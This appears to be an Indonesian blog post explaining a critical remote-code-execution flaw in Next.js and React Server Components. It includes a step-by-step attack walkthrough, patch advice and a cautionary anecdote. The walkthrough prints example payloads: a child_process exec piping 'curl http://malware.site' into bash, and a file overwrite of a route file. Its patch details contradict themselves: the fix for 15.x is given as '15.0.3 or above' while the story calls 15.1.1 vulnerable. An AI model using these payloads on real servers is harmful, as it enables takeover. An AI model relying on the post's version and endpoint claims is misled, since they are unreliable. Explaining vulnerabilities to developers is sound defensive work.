“Bayangkan Anda membangun benteng kokoh, tapi pintu belakangnya terbuka lebar tanpa Anda sadari.”
— analogi klasik yang pas banget untuk menggambarkan kerentanan kritis di Next.js dan React Server Components.
Bukan sekadar bug biasa. Ini adalah kasus Remote Code Execution (RCE) dengan skor CVSS maksimal: 10.0 — artinya tingkat ancamannya paling tinggi.
Hacker bisa mengakses server tanpa login, menjalankan perintah apa pun, dan mengambil kendali penuh atas aplikasi kamu. Semua itu hanya karena kamu belum update ke versi terbaru Next.js.
🎯 Key Takeaways
- 🔐 Celah ini memungkinkan hacker menjalankan perintah di server tanpa autentikasi.
- 🧪 Masalahnya berasal dari cara React Server Components memproses Flight Protocol.
- 🧨 Payload palsu dapat menyamar sebagai request sah dan menjalankan kode arbitrary.
- ⚠️ Versi Next.js 15.x, 16.x, dan canary 14.3.0 ke atas sangat rentan.
- 🛠️ Solusi satu-satunya: update ke patch terbaru, tidak ada konfigurasi workaround.
📌 Apa Itu CVE-2025-66478 & CVE-2025-55182?
Kedua CVE ini mengacu pada celah keamanan yang ditemukan pada:
- ✅ Next.js versi 15.x dan 16.x
- ✅ Versi canary build mulai 14.3.0-canary.77
- ✅ App Router + React Server Components (RSC) aktif
📍 Jenis celah: Remote Code Execution (RCE)
📍 Tingkat keparahan: CVSS 10.0
📍 Syarat eksploitasi: Tidak perlu login / autentikasi
📍 Target: Endpoint /app/_rsc milik App Router di Next.js
🔍 Mekanisme Eksploitasi: Bagaimana Hacker Bisa Menembus Server?
💡 Mekanisme Normal (Seharusnya)
- Client mengirim permintaan ke server Next.js untuk merender komponen via App Router.
- Server merespons dalam format Flight Protocol — bukan HTML, tapi byte stream instruksi rendering.
- Client menampilkan komponen berdasarkan response Flight.
Masalahnya: tidak ada validasi ketat atas siapa dan apa yang mengirimkan Flight request.
🧨 Langkah-Langkah Hacker Menembus Server
📍 Langkah 1 – Menyusun Payload Flight Palsu
- Hacker menyusun request ke endpoint RSC (/app/_rsc) dengan payload manipulatif.
- Payload berisi struktur data mirip Flight stream tapi berisi perintah eksploitasi.
📍 Langkah 2 – Server Menelan Bulat-Bulat
- Server membaca dan men-deserialize payload palsu.
- Tanpa validasi ketat, server mencoba merender komponen tersebut.
📍 Langkah 3 – Arbitrary Code Execution
Payload bisa berisi script semacam:
require(‘child_process’).exec(‘curl http://malware.site | bash’)
Atau manipulasi seperti:
require(‘fs’).writeFileSync(‘/app/routes/index.js’, kodeBerbahaya)
📍 Langkah 4 – Server Dikuasai
- Hacker bisa:
- Membuat reverse shell
- Mencuri process.env
- Menanam malware
- Mengubah halaman depan (deface)
- Mengakses database lokal
⚠️ Kenapa Ini Bisa Terjadi?
Beberapa penyebab utama:
- ❌ Flight Protocol terlalu terbuka dan percaya pada input client.
- ❌ Komponen React internal bisa diakses secara publik melalui manipulasi struktur request.
- ❌ Tidak adanya sandboxing saat proses deserialization.
- ❌ Tidak ada whitelist komponen mana yang boleh dirender oleh user publik.
📊 Tabel Rangkuman Eksploitasi
| Tahap | Deskripsi Singkat | Risiko |
| Penyusunan Payload | Hacker menyamar sebagai client dan buat Flight palsu | ✅ Terbuka ke publik |
| Deserialization RSC | Server proses data tanpa filter ketat | 🔥 Tidak divalidasi |
| Code Execution | Payload berisi kode bisa dijalankan langsung di server | ☠️ Remote access full |
| Kontrol Server | Hacker bisa install script, akses env, curi DB | ⚠️ Risiko fatal |
📖 Analogi: Pintu Rahasia di Kastilmu
Kamu punya benteng kokoh, gerbang dijaga, sistem keamanan ketat.
Tapi hacker menemukan tangga rahasia di belakang — tidak dijaga, tidak dikunci. Mereka masuk, merusak dapur, mencuri kunci, bahkan memakai baju raja.
Begitulah servermu jika tidak mengupdate Next.js dan masih menggunakan versi rentan.
🛠️ Solusi: Update Sekarang atau Hadapi Konsekuensinya
Satu-satunya solusi bukan menghindari endpoint, bukan menambahkan autentikasi, tapi:
✅ Update Next.js ke versi terbaru yang telah di-patch.
- Untuk Next.js 15.x → update ke 15.0.3 atau di atasnya
- Untuk Next.js 16.x → patch dirilis awal Desember 2025
- Untuk canary user → downgrade ke stable release atau update patch
Tidak ada config hack yang bisa menyelamatkan — hanya codebase fix.
📎 Referensi Resmi
- Next.js Security Blog
- React Blog tentang Flight Protocol
- CVE-2025-66478 MITRE Database
🧠 Tips Developer: Lindungi Servermu dengan Proaktif
🛡️ Jangan cuma reaktif saat CVE keluar. Terapkan pola proteksi menyeluruh:
🔹 Audit dependency rutin dengan tools seperti npm audit, snyk, OWASP depcheck
🔹 Gunakan WAF (Cloudflare, Fastly, Akamai) untuk filter request tidak valid
🔹 Log semua request ke endpoint sensitif seperti /app/_rsc
🔹 Isolasi proses RSC di lingkungan sandboxed (jika memungkinkan)
🔹 Jangan deploy canary di production tanpa validasi penuh
📚 Kisah Developer: Terlambat Update, Server Dicuri
Adit, developer freelance, menggunakan Next.js 15.1.1 di aplikasi klien. Ia belum update karena “masih stabil” dan fitur bekerja dengan baik.
Tiba-tiba, salah satu server AWS kliennya memunculkan notifikasi:
“Unusual outbound SSH traffic to unknown IP…”
Setelah diselidiki, ternyata ada script install.sh berisi reverse shell yang ditanam di dalam /node_modules/.
Akhirnya klien Adit kehilangan kredibilitas, Adit harus membayar denda, dan reputasinya hancur hanya karena 1 celah keamanan yang sudah diumumkan sejak seminggu lalu.
❓ FAQ – CVE Next.js & React Server Components
❓ Apakah semua aplikasi Next.js rentan?
Tidak. Hanya yang memakai App Router dan React Server Components (RSC) dari versi rentan.
❓ Apakah celah ini bisa diatasi tanpa update?
Tidak. Tidak ada konfigurasi atau middleware yang bisa mencegah RCE ini. Hanya patch yang resmi.
❓ Apakah perlu login untuk melakukan serangan ini?
Tidak. Inilah bahayanya. Serangan ini bisa dilakukan oleh siapa pun yang mengakses endpoint /app/_rsc.
❓ Saya pakai canary 14.3.0, apakah aman?
Tidak. Canary 14.3.0 mulai terdampak. Disarankan downgrade ke stable atau update patch canary terbaru.


